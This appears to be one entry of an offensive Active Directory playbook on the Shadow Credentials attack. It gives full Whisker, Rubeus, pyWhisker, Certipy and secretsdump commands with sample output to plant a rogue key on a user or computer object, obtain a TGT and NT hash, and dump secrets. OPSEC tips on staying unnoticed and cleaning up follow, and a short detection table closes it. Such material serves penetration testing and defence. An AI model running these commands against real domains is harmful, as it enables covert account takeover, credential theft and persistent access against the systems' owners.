π‘ Attack #25 β Shadow Credentials Attack (msDS-KeyCredentialLink)#
π How It Works#
Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute β originally designed for Windows Hello for Business (WHfB) β to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via PKINIT (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target's password.
Why Shadow Credentials is Superior to Password Reset#
| Aspect |
Password Reset |
Shadow Credentials |
| Target notices? |
β
Yes β locked out immediately |
β No β original password still works |
| Persistence |
One-time β target resets back |
Persistent β survives password changes |
| Detection |
Event 4724 β well-known |
Event 5136 β less commonly monitored |
| Prerequisite |
ForceChangePassword / GenericAll |
GenericWrite / GenericAll / WriteDACL on target |
| OPSEC |
Low |
High |
Requirements#
- ADCS deployed (or at least PKINIT enabled in the domain)
- Domain functional level 2016+ (for
msDS-KeyCredentialLink attribute)
- Write access to target's
msDS-KeyCredentialLink (GenericWrite, GenericAll, or explicit write)
βοΈ Prerequisites#
| Requirement |
Detail |
| Write access to msDS-KeyCredentialLink |
GenericWrite, GenericAll on target user/computer |
| PKINIT / ADCS in environment |
Domain must support certificate-based auth |
| Domain functional level 2016+ |
Attribute doesn't exist on older schemas |
| Tool |
Platform |
Notes |
| Whisker |
Windows |
Add/remove/list shadow credentials |
| pyWhisker |
Linux |
Python implementation |
| Certipy |
Linux |
shadow auto β automated full chain |
| DSInternals |
Windows/PowerShell |
Set-DomainObject key credential manipulation |
| Rubeus |
Windows |
PKINIT authentication with the shadow cert |
π» Full Commands#
π΄ Whisker (Windows)#
# ββ Add shadow credential to target user ββββββββββββββββββββββββββββββββββββββ
.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local
# Output:
# [*] No existing DeviceCredentials found
# [*] Generated key pair
# [*] DeviceID: a1b2c3d4-...
# [*] Adding KeyCredential
# [*] Use Rubeus with the following command:
# Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt
# ββ Run the outputted Rubeus command ββββββββββββββββββββββββββββββββββββββββββ
.\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \
/password:<password_from_whisker> /ptt /getcredentials
# Output includes NT hash via U2U
# ββ List existing shadow credentials ββββββββββββββββββββββββββββββββββββββββββ
.\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local
# ββ Remove shadow credential (cleanup) ββββββββββββββββββββββββββββββββββββββββ
.\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \
/domain:corp.local /dc:DC01.corp.local
π΄ pyWhisker (Linux)#
# ββ Add shadow credential ββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
--target targetadmin --action add --dc-ip 10.10.10.10
# Output: PFX certificate file and password
# ββ Authenticate with the certificate βββββββββββββββββββββββββββββββββββββββββ
certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10
# Returns TGT + NT hash
# ββ List ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
--target targetadmin --action list --dc-ip 10.10.10.10
# ββ Remove ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
--target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10
π΄ Certipy Shadow Auto (Easiest β Linux)#
# ββ Full automated chain β add key, auth, get hash βββββββββββββββββββββββββββ
certipy shadow auto -u low_user@corp.local -p 'Password1' \
-account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local
# Output:
# [*] Saved PFX to 'targetadmin.pfx'
# [*] Got TGT for 'targetadmin@corp.local'
# [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
π΄ Shadow Credentials on Computer Objects#
# ββ Works on computer objects too (compromise the machine) ββββββββββββββββββββ
certipy shadow auto -u low_user@corp.local -p 'Password1' \
-account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local
# Use the machine's NT hash to:
# - Silver Ticket to services on that machine
# - SecretsDump for local SAM/LSA
secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \
-hashes :2b576acbe6bcfda7294d6bd18041b8fe
π― OPSEC Tips#
- Shadow Credentials persist across password changes β the key credential remains valid even after target changes their password
- Always clean up β remove the DeviceID from
msDS-KeyCredentialLink after extracting the hash/TGT
- Shadow Credentials fail if WHfB is not enabled and there's no ADCS β PKINIT must be supported
- Computer objects work too β you can Shadow Credential a computer to get its machine account hash
- Most OPSEC-friendly takeover β the target user notices nothing; their password still works
π‘οΈ Detection β Event IDs#
| Event ID |
Source |
What to Look For |
| 5136 |
Security Log (DC) |
Modification of msDS-KeyCredentialLink attribute |
| 4768 |
Security Log (DC) |
TGT request via PKINIT (Pre-Auth Type 16) β certificate-based auth for a non-smart-card user |
π Attack Chain Context#
[Shadow Credentials] βββ Stealthy Account Takeover Without Password Change
β
ββββ π Write msDS-KeyCredentialLink β auth as target via PKINIT
ββββ π Survives password changes β persistent until key is removed
ββββ π» Works on users AND computers
ββββ π Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21)
ββββ π Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused
β
Attack #25 β Shadow Credentials complete.